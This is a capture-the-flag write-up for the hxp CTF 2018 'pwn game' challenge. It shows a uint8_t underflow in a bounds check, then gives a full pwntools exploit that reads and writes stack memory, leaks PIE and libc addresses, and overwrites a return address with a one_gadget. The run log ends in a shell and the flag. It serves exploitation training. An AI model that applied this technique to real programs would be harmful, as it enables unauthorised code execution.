hxp CTF 2018 - pwn game
Connect to the game and play… or pwn… or both! Instructions for the game can be found in the game itself.
Download: pwn game-fd561b730951afff.tar.xz
Connection: stty -icanon min 1 time 0 && nc 195.201.127.177 9999
Attachment: challenge challenge.c libc-2.24.so xpl.py
╔══════════════════════════════╗
║:O 52 51 54 54 53 50 54 52 52 ║
║51 52 53 52 53 51 50 50 53 50 ║
║52 50 52 52 51 51 54 52 51 51 ║
║50 54 54 53 54 50 52 50 53 53 ║
║53 53 52 54 54 51 51 54 53 54 ║
║50 51 50 52 52 Oo 50 52 54 52 ║
║51 50 52 53 53 52 51 54 53 51 ║
║52 51 53 51 54 50 54 54 51 51 ║
║54 52 52 51 50 51 53 53 54 54 ║
║51 51 50 52 50 51 52 50 54 54 ║
╚══════════════════════════════╝
Lifes: ooo Score: 500 Position: (5, 5)
CURRENT CELL: 53 -> 50
================== CONTROLS: ===================
<w/a/s/d>: MOVE <q>: QUIT
<+/->: INC/DEC 1 <1/2>: INC/DEC 0x10
<r>: SHOW REAL FIELD <t>: SHOW TARGET FIELD
<h>: TOGGLE HEADLESS <f>: RENDER SINGLE IMAGE
This challenge introduced a game, where you could change cell values, while a monster is chasing you around the gamefield :)
For “winning” this, you’d have to match all values with some random target values, but well, winning this game would lead us nowhere near a flag, so we have to find a way to do something out of the ordinary.
So first, let’s take a look at the source code, hxp provided…
struct player {
uint8_t prev_render_pos_x;
uint8_t prev_render_pos_y;
uint8_t pos_x;
uint8_t pos_y;
uint64_t score;
uint8_t lifes;
int8_t dx;
int8_t dy;
};
The game will hold the information about the current position (and other stuff) in this struct. Should be noted, that uint8_t
is used for both x
and y
values.
Whenever the player executes an action, like moving or changing cell values, the monster will also update its action. It has a cooldown, so it always pauses for three steps and then moves towards the player direction. If it hits you, you will be knocked back on cell and lose one life.
Well, we have a game field on the stack… A monster knocking us back one cell… There should be a way to abuse this, to get outside of the game field.
void damage_and_knock_back(struct enemy* e, struct player* p)
{
if((e->pos_x == p->pos_x) && (e->pos_y == p->pos_y))
{
p->lifes--;
if(e->dx > 0 && p->pos_x + 1 < X_MAX)
p->pos_x++;
else if(e->dx < 0 && p->pos_x - 1 >= X_MIN)
p->pos_x--;
if(e->dy > 0 && p->pos_y + 1 < Y_MAX)
p->pos_y++;
else if(e->dy < 0 && p->pos_y - 1 >= Y_MIN)
p->pos_y--;
}
}
On a first glance, everything seems fine. It will check, if a knockback would put us outside of X_MIN
, X_MAX
, Y_MIN
, Y_MAX
and only move the player, if its new position will still be in boundaries.
else if(e->dy < 0 && p->pos_y - 1 >= Y_MIN)
p->pos_y--;
Well, except that the player position x
and y
values are stored as uint_8
, which means they are susceptible for an underflow.
If the player is on y = 0
and the monster would hit us from below, p->pos_y - 1
will evaluate to 0 - 1
, which will wrap around uint_8
and become 255
, which is bigger than Y_MIN
. So, this will lead to an y
position of 255
and we’ll be out of the gamefield. By this, we’ll get put way behind the game field and can walk through the stack (between the current gamefield and gamefield+(255*10)
).
With the ability to walk around on the stack, still seeing CURRENT CELL
values and the possibility to modify current cell values, we can for one leak arbitrary stack values and also modify them.
Though… The monster will still be chasing us, which makes the whole procedere a little bit troublesome. But first, let’s get a starter script to get into the initial exploit stage by walking outside of the game field.
In the original exploit, I obviously didn’t track current monster position, but just tried to get it right. For the writeup, I decided to clean this up a bit and use proper move
functions, which will also update all game informations, so we always know, where the monster is currently located and more important its distance to the player (this will come in handy later on).
#!/usr/bin/python
from pwn import *
import sys, math
LOCAL = True
HOST = "195.201.127.177"
PORT = 9999
# Player information
PLAYER_X = -1
PLAYER_Y = -1
CURRENT = -1
DEST = -1
# Monster information
ENEMY_X = 0
ENEMY_Y = 0
ENEMY_COOLDOWN = 5
ENEMY_DISTANCE = 0
"""
Recalculate new monster position and distance to player.
"""
def move_enemy():
global PLAYER_X, PLAYER_Y, ENEMY_X, ENEMY_Y, ENEMY_COOLDOWN, ENEMY_DISTANCE
if ENEMY_COOLDOWN < 3:
# Calculate new monster pos and distance
EDX = (PLAYER_X - ENEMY_X)
EDY = (PLAYER_Y - ENEMY_Y)
ENEMY_X += 1 if EDX > 0 else -1
ENEMY_Y += 1 if EDY > 0 else -1
ENEMY_DISTANCE = math.sqrt((EDX*EDX) + (EDY*EDY))
if ENEMY_COOLDOWN == 0:
ENEMY_COOLDOWN = 6
ENEMY_COOLDOWN -= 1
"""
Move player in specified direction and update monster info.
"""
def move(direction):
global PLAYER_X, PLAYER_Y
r.sendline(direction)
if direction == "w":
PLAYER_Y -= 1
elif direction == "s":
PLAYER_Y += 1
elif direction == "a":
PLAYER_X -= 1
elif direction == "d":
PLAYER_X += 1
move_enemy()
"""
Parse current game state.
"""
def parse_screen():
global ENEMY_X, ENEMY_Y, PLAYER_X, PLAYER_Y, CURRENT, DEST, ENEMY_DISTANCE
r.sendline("f")
r.recvuntil("Position: (")
PLAYER_X = int(r.recvuntil(", ", drop=True))
PLAYER_Y = int(r.recvuntil(")", drop=True))
r.recvuntil("CURRENT CELL: ")
r.recv(5)
CURRENT = int("0x"+r.recvuntil(" ", drop=True), 16)
r.recvuntil(" ")
DEST = int("0x"+r.recvuntil("\n", drop=True), 16)
log.info("PLAYER_X: %d / PLAYER_Y: %d / ENEMY_X: %d / ENEMY_Y: %d / ENEMY_DISTANCE: %d / Cur: %s / Dest: %s" % (PLAYER_X, PLAYER_Y, ENEMY_X, ENEMY_Y, ENEMY_DISTANCE, hex(CURRENT), hex(DEST)))
"""
Enter headless mode.
"""
def go_headless():
r.recvuntil("HEADLESS...\n")
r.sendline("h")
parse_screen()
"""
Initialize exploit by moving out of gamefield.
"""
def init_exploit_state():
global ENEMY_X, ENEMY_Y
log.info("Starting game, go out of bounds")
for i in range(11):
move("d")
for i in range(11):
move("w")
move("w")
ENEMY_X = 9
ENEMY_Y = 255
parse_screen()
def exploit(r):
global PIELEAK
go_headless()
init_exploit_state()
r.interactive()
return
if __name__ == "__main__":
e = ELF("./challenge")
libc = ELF("./libc-2.24.so")
if len(sys.argv) > 1:
LOCAL = False
r = remote(HOST, PORT)
exploit(r)
else:
LOCAL = True
r = process("./challenge", env={"LD_PRELOAD" : "./libc-2.24.so"})
print util.proc.pidof(r)
pause()
exploit(r)
So, by now, we’ll just walk to 9 / 0
and walk into the wall until the monster catches up (from below) and kicks us out of the gamefield.
╔══════════════════════════════╗
║53 52 51 54 54 53 50 54 52 52 ║
║51 52 53 52 53 51 50 50 53 50 ║
║52 50 52 52 51 51 54 52 51 51 ║
║50 54 54 53 54 50 52 50 53 53 ║
║53 53 52 54 54 51 51 54 53 54 ║
║50 51 50 52 52 53 50 52 54 52 ║
║51 50 52 53 53 52 51 54 53 51 ║
║52 51 53 51 54 50 54 54 51 51 ║
║54 52 52 51 50 51 53 53 54 54 ║
║51 51 50 52 50 51 52 50 54 54 ║
╚══════════════════════════════╝
Lifes: oo Score: 477 Position: (9, 254)
CURRENT CELL: 00 -> 00
================== CONTROLS: ===================
<w/a/s/d>: MOVE <q>: QUIT
<+/->: INC/DEC 1 <1/2>: INC/DEC 0x10
<r>: SHOW REAL FIELD <t>: SHOW TARGET FIELD
<h>: TOGGLE HEADLESS <f>: RENDER SINGLE IMAGE
Oo <= Player out of bounds :)
From here we can walk left
, right
and up. Since y
is now > Y_MAX
, no down movement is possible anymore, but we won’t need that anyways. Since we deal with PIE
and ASLR
, it’s time now to leak some addresses.
For the sake of simplicity, let’s just think about non ASLR
addresses here, since everything in the binary will be calculated in offsets to the game field anyways.
On my machine, the real game field started at 0x7fffffffe440
, so we can calculate the needed x
, y
offsets based on the distance from this address.
# Non ASLR address used for easier calculating offsets
REAL_FIELD = 0x7fffffffe440
"""
Move player to specific x/y coordinates.
"""
def goto_xy(dest_x, dest_y):
global PLAYER_X, PLAYER_Y
while (dest_y != PLAYER_Y):
if (dest_y < PLAYER_Y):
move("w")
elif (dest_y > PLAYER_Y):
move("s")
while (dest_x != PLAYER_X):
if (dest_x < PLAYER_X):
move("a")
elif (dest_x > PLAYER_X):
move("d")
"""
Move player to start of specific address on stack.
"""
def goto_address(address):
# calculate dest PLAYER_X/PLAYER_Y
dest_x = (address - REAL_FIELD) % 10
dest_y = (address - REAL_FIELD) / 10
log.info("Goto address %s : %d / %d" % (hex(address), dest_x, dest_y))
goto_xy(dest_x, dest_y)
Now, let’s take a look at the stack, to get an idea, where we want to move and leak
gdb-peda$ x/60gx 0x7fffffffe440-0x40
0x7fffffffe400: 0x0000000000000000 0x00010a0000000000
0x7fffffffe410: 0xfe00ff09ff090000 0x00007fffffffe440
0x7fffffffe420: 0x00000000fe09fe09 0x00000000000001dd <= Player struct
0x7fffffffe430: 0x0000000000000002 0x0000000000000000
0x7fffffffe440: 0x5450535454515253 0x5153525352515252 <= Real gamefield starts
0x7fffffffe450: 0x5252505250535050 0x5450515152545151
0x7fffffffe460: 0x5353505250545354 0x5451515454525353
0x7fffffffe470: 0x5352525051505453 0x5352505152545250
0x7fffffffe480: 0x5152515354515253 0x5151545450545153
0x7fffffffe490: 0x5353515051525254 0x5150525051515454
0x7fffffffe4a0: 0x00007fff54545052 0x00007ffff7dd0440 <= ___ / _IO_file_jumps
0x7fffffffe4b0: 0x5454505352505250 0x5451515451505452 <= Target gamefield starts
0x7fffffffe4c0: 0x5251515452515453 0x5053505252545152
0x7fffffffe4d0: 0x5353515353545352 0x5351535351525152
0x7fffffffe4e0: 0x5054505151515350 0x5151505253525150
0x7fffffffe4f0: 0x5452535452535150 0x5151505051535350
0x7fffffffe500: 0x5454515354545452 0x5050545254525353
0x7fffffffe510: 0x00007fff54505154 0x549f458419fe0c00
0x7fffffffe520: 0x00007fffffffed70 0x00005555555565e0 <= ___ / main_loop return address
0x7fffffffe530: 0x00007fffffffee58 0x0000000100000000
So, there’s the return address
of main_loop
at 0x7fffffffe528
, which we can use for leaking PIE
and calculating the real base address. And we have a nice (stable) libc address at 0x7fffffffe4a8
(_IO_file_jumps
), with which we can calculate libc base.
One catch though, we can only move upwards… Thus after reading those two addresses, we’d ultimately fail, since we only have 1 life left and it will be game over, if the monster hits us another time.
Easy way out… While leaking the main_loop return address
, modify it also and let it point back to call main_loop
:
gdb-peda$ x/10i 0x00005555555565db
0x5555555565db <main+299>: call 0x5555555560c0 <main_loop>
0x5555555565e0 <main+304>: mov QWORD PTR [rbp-0x828],rax
Since the call is extremely near to the current return address, we can just fix it by reducing the cell value at 0x7fffffffe528
5 times. If we quit the game after that, it will just call main_loop
again, giving us another try :)
So, let’s do the leaking part
"""
Parse address at current position.
"""
def parse_qword():
r1 = ""
for i in range(6):
parse_screen()
r1 += chr(CURRENT)
move("d")
parse_screen()
return u64(r1.ljust(8, "\x00"))
"""
Read value at specific address.
"""
def read_address(address):
goto_address(address)
return parse_qword()
def exploit(r):
...
log.info("Leak PIE")
PIELEAK = read_address(0x7fffffffe528)
e.address = PIELEAK - 0x25e0
log.info("PIE leak : %s" % hex(PIELEAK))
log.info("PIE base : %s" % hex(e.address))
...
Just moving the player to the appropriate offset and then read byte per byte by parsing the game screen and reading current cell value
.
While we’re at that address, we can fix up the return address, by just decrementing the LSB of the return address 5 times. I’ll skip that part for now, since the following writes will be more complicated, but we can reuse that functionality also to do this overwrite.
log.info("Overwrite main_loop ret for another round")
change_address(0x7fffffffe528, PIELEAK, PIELEAK-5)
log.info("Leak libc")
LIBCLEAK = read_address(0x7fffffffe4a8)
libc.address = LIBCLEAK - 0x396440
log.info("LIBC leak : %s" % hex(LIBCLEAK))
By now, we have the PIE
and LIBC
leak and have overwritten main_loop
return address to just call main_loop
again. Since we cannot do anything useful anymore in the current game state, we’ll just quit the current game, triggering main_loop
again with a clean game state.
log.info("Quit to return to initial state")
r.sendline("q")
parse_screen()
init_exploit_state()
Ok, we’re back in our initial oob
position, but this time, we know some leaks. Though we can loop the game by making small modifications to the main_loop
return address, we won’t be able to do a complete libc address write. The monster will just catch up, while we’re at it, resulting in a game over or segfault…
But since we can always do the loop overwrite to continue playing after quitting, we can target the return address of main
instead and keep replaying, until we have successfully written a complete arbitrary address to it, and then quit the game completely.
The end of main is also a good target since rax
will be 0x0
at that point, which will fulfill this one_gadget
:
0x3f306 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
At this point, modifying the libc address will get a little bite more complicated, since we need to do so many increases/decreases, that the monster will definitely catch up.
It was around 02:00 AM, when I went haywire because of this and started a huge copy/paste mess, modifying a byte, overwriting main loop, running back to the current address on and on and on. It looked really awful (though it ultimately worked and spit out the flag).
Let’s try to improve it a bit this time:
def exploit(r):
...
log.info("Play until main return address is overwritten with one_gadget")
CURRENT_MAIN_RET = libc.address + 0x202e1
ONE_GADGET = libc.address + 0x3f306
change_address(0x7fffffffed78, CURRENT_MAIN_RET, ONE_GADGET)
log.info("Main return address successfully overwritten. Quit to trigger shell...")
r.sendline("q")
r.recvuntil("EXIT!\n")
r.interactive()
Since we have the leaks, we know the current value of the return address, and we also know the value, we would like to have it instead. Thus it’s just a matter of walking to main
return address, modifying its bytes, until the monster gets too close.
We’ll then run away to main_loop
return address, modify it back to call main_loop
and quit, which will save us from getting caught :)
Get back into initial exploit stage… Rinse and repeat until main
return address matches our desired address.
"""
Change value of current cell.
"""
def change_value(value):
if value == -0x10:
r.sendline("2")
elif value == 0x10:
r.sendline("1")
elif value == -0x1:
r.sendline("-")
elif value == 0x1:
r.sendline("+")
move_enemy()
"""
Change specified address from source value to destination value.
This will observe monster position and if the monster comes near
it will cancel current write and restart the game. On restart it
will walk back to the current address and continue the overwrite
until the destination value was completely written.
"""
def change_address(address, src_value, dest_value):
global ENEMY_DISTANCE, PIELEAK
log.info("Change address %s : %s => %s" % (hex(address), hex(src_value), hex(dest_value)))
goto_address(address)
cur_offset = 0
for i in range(8):
cur_byte = (src_value >> (i*8)) & 0xff
dest_byte = (dest_value >> (i*8)) & 0xff
# only move if we have something to do for this byte
if cur_byte != dest_byte:
while cur_offset < i:
move("d")
cur_offset += 1
while cur_byte != dest_byte:
log.info("Change byte at %s : %s => %s" % (hex(address+cur_offset), hex(cur_byte), hex(dest_byte)))
# try to modify the current byte until monster gets too close
while (cur_byte >= dest_byte + 0x10) and (ENEMY_DISTANCE > 3):
change_value(-0x10)
cur_byte -= 0x10
while (cur_byte > dest_byte) and (ENEMY_DISTANCE > 3):
change_value(-0x1)
cur_byte -= 0x1
while (cur_byte <= dest_byte - 0x10) and (ENEMY_DISTANCE > 3):
change_value(0x10)
cur_byte += 0x10
while (cur_byte < dest_byte) and (ENEMY_DISTANCE > 3):
change_value(0x1)
cur_byte += 0x1
parse_screen()
# check, if we had to cancel because of monster getting close
if cur_byte != dest_byte:
# overwrite main_loop return with call to main_loop and quit
log.info("Cancel address write and replay")
change_address(0x7fffffffe528, PIELEAK, PIELEAK-5)
# quit and replay until we reach current address again and continue with overwrite
r.sendline("q")
parse_screen()
init_exploit_state()
goto_address(address+cur_offset)
And there we are, main
return address should now nicely point to one_gadget
and all that’s left to do for us, is to quit without modifying main_loop
return address, so it will jump back into main
again, which will finally trigger a shell.
$ python xpl.py 1
[*] '/ctf/hxp/game/pwn game/challenge'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] '/ctf/hxp/game/pwn game/libc-2.24.so'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 195.201.127.177 on port 9999: Done
[*] PLAYER_X: 5 / PLAYER_Y: 5 / ENEMY_X: 0 / ENEMY_Y: 0 / ENEMY_DISTANCE: 0 / Cur: 0x53 / Dest: 0x50
[*] Starting game, go out of bounds
[*] PLAYER_X: 9 / PLAYER_Y: 254 / ENEMY_X: 9 / ENEMY_Y: 255 / ENEMY_DISTANCE: 9 / Cur: 0x0 / Dest: 0x0
[*] Leak PIE
[*] Goto address 0x7fffffffe528 : 2 / 23
[*] PLAYER_X: 2 / PLAYER_Y: 23 / ENEMY_X: 5 / ENEMY_Y: 137 / ENEMY_DISTANCE: 115 / Cur: 0xe0 / Dest: 0x1
[*] PLAYER_X: 3 / PLAYER_Y: 23 / ENEMY_X: 4 / ENEMY_Y: 136 / ENEMY_DISTANCE: 114 / Cur: 0x65 / Dest: 0x0
[*] PLAYER_X: 4 / PLAYER_Y: 23 / ENEMY_X: 3 / ENEMY_Y: 135 / ENEMY_DISTANCE: 113 / Cur: 0xaa / Dest: 0x0
[*] PLAYER_X: 5 / PLAYER_Y: 23 / ENEMY_X: 4 / ENEMY_Y: 134 / ENEMY_DISTANCE: 112 / Cur: 0xaa / Dest: 0x0
[*] PLAYER_X: 6 / PLAYER_Y: 23 / ENEMY_X: 4 / ENEMY_Y: 134 / ENEMY_DISTANCE: 112 / Cur: 0xb7 / Dest: 0x5
[*] PLAYER_X: 7 / PLAYER_Y: 23 / ENEMY_X: 4 / ENEMY_Y: 134 / ENEMY_DISTANCE: 112 / Cur: 0x55 / Dest: 0x0
[*] PLAYER_X: 8 / PLAYER_Y: 23 / ENEMY_X: 4 / ENEMY_Y: 134 / ENEMY_DISTANCE: 112 / Cur: 0x0 / Dest: 0x0
[*] PIE leak : 0x55b7aaaa65e0
[*] PIE base : 0x55b7aaaa4000
[*] Overwrite main_loop ret for another round
[*] Change address 0x7fffffffe528 : 0x55b7aaaa65e0 => 0x55b7aaaa65db
[*] Goto address 0x7fffffffe528 : 2 / 23
[*] Change byte at 0x7fffffffe528 : 0xe0 => 0xdb
[*] PLAYER_X: 2 / PLAYER_Y: 23 / ENEMY_X: 2 / ENEMY_Y: 128 / ENEMY_DISTANCE: 106 / Cur: 0xdb / Dest: 0x1
[*] Leak libc
[*] Goto address 0x7fffffffe4a8 : 4 / 10
[*] PLAYER_X: 4 / PLAYER_Y: 10 / ENEMY_X: 4 / ENEMY_Y: 120 / ENEMY_DISTANCE: 111 / Cur: 0x40 / Dest: 0x0
[*] PLAYER_X: 5 / PLAYER_Y: 10 / ENEMY_X: 5 / ENEMY_Y: 119 / ENEMY_DISTANCE: 110 / Cur: 0xc4 / Dest: 0x9f
[*] PLAYER_X: 6 / PLAYER_Y: 10 / ENEMY_X: 5 / ENEMY_Y: 119 / ENEMY_DISTANCE: 110 / Cur: 0xb5 / Dest: 0xb0
[*] PLAYER_X: 7 / PLAYER_Y: 10 / ENEMY_X: 5 / ENEMY_Y: 119 / ENEMY_DISTANCE: 110 / Cur: 0x8 / Dest: 0x4d
[*] PLAYER_X: 8 / PLAYER_Y: 10 / ENEMY_X: 5 / ENEMY_Y: 119 / ENEMY_DISTANCE: 110 / Cur: 0xa4 / Dest: 0xfc
[*] PLAYER_X: 9 / PLAYER_Y: 10 / ENEMY_X: 6 / ENEMY_Y: 118 / ENEMY_DISTANCE: 109 / Cur: 0x7f / Dest: 0xba
[*] PLAYER_X: 9 / PLAYER_Y: 10 / ENEMY_X: 7 / ENEMY_Y: 117 / ENEMY_DISTANCE: 108 / Cur: 0x7f / Dest: 0xba
[*] LIBC leak : 0x7fa408b5c440
[*] Quit to return to initial state
[*] PLAYER_X: 5 / PLAYER_Y: 5 / ENEMY_X: 7 / ENEMY_Y: 117 / ENEMY_DISTANCE: 108 / Cur: 0x53 / Dest: 0x50
[*] Starting game, go out of bounds
[*] PLAYER_X: 9 / PLAYER_Y: 254 / ENEMY_X: 9 / ENEMY_Y: 255 / ENEMY_DISTANCE: 114 / Cur: 0x0 / Dest: 0x0
[*] Play until main return address is overwritten with one_gadget
[*] Change address 0x7fffffffed78 : 0x7fa4087e62e1 => 0x7fa408805306
[*] Goto address 0x7fffffffed78 : 0 / 236
[*] Change byte at 0x7fffffffed78 : 0xe1 => 0x6
[*] PLAYER_X: 0 / PLAYER_Y: 236 / ENEMY_X: -1 / ENEMY_Y: 237 / ENEMY_DISTANCE: 2 / Cur: 0x51 / Dest: 0x0
[*] Cancel address write and replay
[*] Change address 0x7fffffffe528 : 0x55b7aaaa65e0 => 0x55b7aaaa65db
[*] Goto address 0x7fffffffe528 : 2 / 23
[*] Change byte at 0x7fffffffe528 : 0xe0 => 0xdb
[*] PLAYER_X: 2 / PLAYER_Y: 23 / ENEMY_X: 1 / ENEMY_Y: 127 / ENEMY_DISTANCE: 105 / Cur: 0xdb / Dest: 0x1
[*] PLAYER_X: 5 / PLAYER_Y: 5 / ENEMY_X: 1 / ENEMY_Y: 127 / ENEMY_DISTANCE: 105 / Cur: 0x53 / Dest: 0x50
[*] Starting game, go out of bounds
[*] PLAYER_X: 9 / PLAYER_Y: 254 / ENEMY_X: 9 / ENEMY_Y: 255 / ENEMY_DISTANCE: 122 / Cur: 0x0 / Dest: 0x0
[*] Goto address 0x7fffffffed78 : 0 / 236
[*] Change byte at 0x7fffffffed78 : 0x51 => 0x6
[*] PLAYER_X: 0 / PLAYER_Y: 236 / ENEMY_X: -1 / ENEMY_Y: 237 / ENEMY_DISTANCE: 2 / Cur: 0xd / Dest: 0x0
[*] Cancel address write and replay
[*] Change address 0x7fffffffe528 : 0x55b7aaaa65e0 => 0x55b7aaaa65db
[*] Goto address 0x7fffffffe528 : 2 / 23
[*] Change byte at 0x7fffffffe528 : 0xe0 => 0xdb
[*] PLAYER_X: 2 / PLAYER_Y: 23 / ENEMY_X: 2 / ENEMY_Y: 128 / ENEMY_DISTANCE: 106 / Cur: 0xdb / Dest: 0x54
[*] PLAYER_X: 5 / PLAYER_Y: 5 / ENEMY_X: 2 / ENEMY_Y: 128 / ENEMY_DISTANCE: 106 / Cur: 0x53 / Dest: 0x50
[*] Starting game, go out of bounds
[*] PLAYER_X: 9 / PLAYER_Y: 254 / ENEMY_X: 9 / ENEMY_Y: 255 / ENEMY_DISTANCE: 122 / Cur: 0x0 / Dest: 0x0
[*] Goto address 0x7fffffffed78 : 0 / 236
[*] Change byte at 0x7fffffffed78 : 0xd => 0x6
[*] PLAYER_X: 0 / PLAYER_Y: 236 / ENEMY_X: -1 / ENEMY_Y: 237 / ENEMY_DISTANCE: 2 / Cur: 0x7 / Dest: 0x0
[*] Cancel address write and replay
[*] Change address 0x7fffffffe528 : 0x55b7aaaa65e0 => 0x55b7aaaa65db
[*] Goto address 0x7fffffffe528 : 2 / 23
[*] Change byte at 0x7fffffffe528 : 0xe0 => 0xdb
[*] PLAYER_X: 2 / PLAYER_Y: 23 / ENEMY_X: 2 / ENEMY_Y: 128 / ENEMY_DISTANCE: 106 / Cur: 0xdb / Dest: 0x45
[*] PLAYER_X: 5 / PLAYER_Y: 5 / ENEMY_X: 2 / ENEMY_Y: 128 / ENEMY_DISTANCE: 106 / Cur: 0x53 / Dest: 0x50
[*] Starting game, go out of bounds
[*] PLAYER_X: 9 / PLAYER_Y: 254 / ENEMY_X: 9 / ENEMY_Y: 255 / ENEMY_DISTANCE: 122 / Cur: 0x0 / Dest: 0x0
[*] Goto address 0x7fffffffed78 : 0 / 236
[*] Change byte at 0x7fffffffed78 : 0x7 => 0x6
[*] PLAYER_X: 0 / PLAYER_Y: 236 / ENEMY_X: 2 / ENEMY_Y: 240 / ENEMY_DISTANCE: 5 / Cur: 0x6 / Dest: 0x0
[*] Change byte at 0x7fffffffed79 : 0x62 => 0x53
[*] PLAYER_X: 1 / PLAYER_Y: 236 / ENEMY_X: 0 / ENEMY_Y: 238 / ENEMY_DISTANCE: 3 / Cur: 0x5f / Dest: 0x0
[*] Cancel address write and replay
[*] Change address 0x7fffffffe528 : 0x55b7aaaa65e0 => 0x55b7aaaa65db
[*] Goto address 0x7fffffffe528 : 2 / 23
[*] Change byte at 0x7fffffffe528 : 0xe0 => 0xdb
[*] PLAYER_X: 2 / PLAYER_Y: 23 / ENEMY_X: 1 / ENEMY_Y: 129 / ENEMY_DISTANCE: 107 / Cur: 0xdb / Dest: 0x45
[*] PLAYER_X: 5 / PLAYER_Y: 5 / ENEMY_X: 1 / ENEMY_Y: 129 / ENEMY_DISTANCE: 107 / Cur: 0x53 / Dest: 0x50
[*] Starting game, go out of bounds
[*] PLAYER_X: 9 / PLAYER_Y: 254 / ENEMY_X: 9 / ENEMY_Y: 255 / ENEMY_DISTANCE: 124 / Cur: 0x0 / Dest: 0x0
[*] Goto address 0x7fffffffed79 : 1 / 236
[*] Change byte at 0x7fffffffed79 : 0x5f => 0x53
[*] PLAYER_X: 1 / PLAYER_Y: 236 / ENEMY_X: 0 / ENEMY_Y: 238 / ENEMY_DISTANCE: 3 / Cur: 0x57 / Dest: 0x0
[*] Cancel address write and replay
[*] Change address 0x7fffffffe528 : 0x55b7aaaa65e0 => 0x55b7aaaa65db
[*] Goto address 0x7fffffffe528 : 2 / 23
[*] Change byte at 0x7fffffffe528 : 0xe0 => 0xdb
[*] PLAYER_X: 2 / PLAYER_Y: 23 / ENEMY_X: 1 / ENEMY_Y: 129 / ENEMY_DISTANCE: 107 / Cur: 0xdb / Dest: 0x45
[*] PLAYER_X: 5 / PLAYER_Y: 5 / ENEMY_X: 1 / ENEMY_Y: 129 / ENEMY_DISTANCE: 107 / Cur: 0x53 / Dest: 0x50
[*] Starting game, go out of bounds
[*] PLAYER_X: 9 / PLAYER_Y: 254 / ENEMY_X: 9 / ENEMY_Y: 255 / ENEMY_DISTANCE: 124 / Cur: 0x0 / Dest: 0x0
[*] Goto address 0x7fffffffed79 : 1 / 236
[*] Change byte at 0x7fffffffed79 : 0x57 => 0x53
[*] PLAYER_X: 1 / PLAYER_Y: 236 / ENEMY_X: 2 / ENEMY_Y: 240 / ENEMY_DISTANCE: 5 / Cur: 0x53 / Dest: 0x0
[*] Change byte at 0x7fffffffed7a : 0x7e => 0x80
[*] PLAYER_X: 2 / PLAYER_Y: 236 / ENEMY_X: 1 / ENEMY_Y: 239 / ENEMY_DISTANCE: 4 / Cur: 0x80 / Dest: 0x0
[*] Main return address successfully overwritten. Quit to trigger shell...
[*] Switching to interactive mode
$ cat flag.txt
hxp{(X+1<Y)!=(X<Y-1)}